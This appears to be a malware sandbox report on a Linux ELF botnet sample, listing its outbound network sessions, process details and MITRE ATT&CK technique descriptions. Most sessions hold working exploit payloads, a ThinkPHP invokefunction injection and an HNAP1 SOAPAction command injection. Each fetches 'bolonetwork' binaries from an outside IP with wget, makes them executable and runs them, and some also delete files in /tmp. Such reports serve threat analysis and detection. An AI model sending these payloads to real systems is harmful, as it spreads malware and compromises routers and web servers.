Jul 20, 2024 23:00:58.895168066 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	54188	116.5.187.7	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.897372961 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	37296	130.192.156.155	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.902003050 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	52476	95.132.68.188	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.903431892 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	55958	86.189.116.244	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.905756950 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	57388	68.41.70.255	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.910978079 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	56088	95.19.94.171	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.912615061 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	43798	119.196.179.139	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.915613890 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	46898	176.159.56.7	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.920520067 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	34698	95.34.132.196	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.921972036 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	41670	78.220.143.116	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.924388885 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	55072	191.158.189.2	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.927774906 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	39112	95.119.119.53	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.929408073 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	34960	177.95.54.71	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.931157112 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

System Behavior

Analysis Process: faBNhIKHq4.elf PID: 6220, Parent PID: 6136

General

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	/tmp/faBNhIKHq4.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:00:55
Start date (UTC):	20/07/2024
Path:	/tmp/faBNhIKHq4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
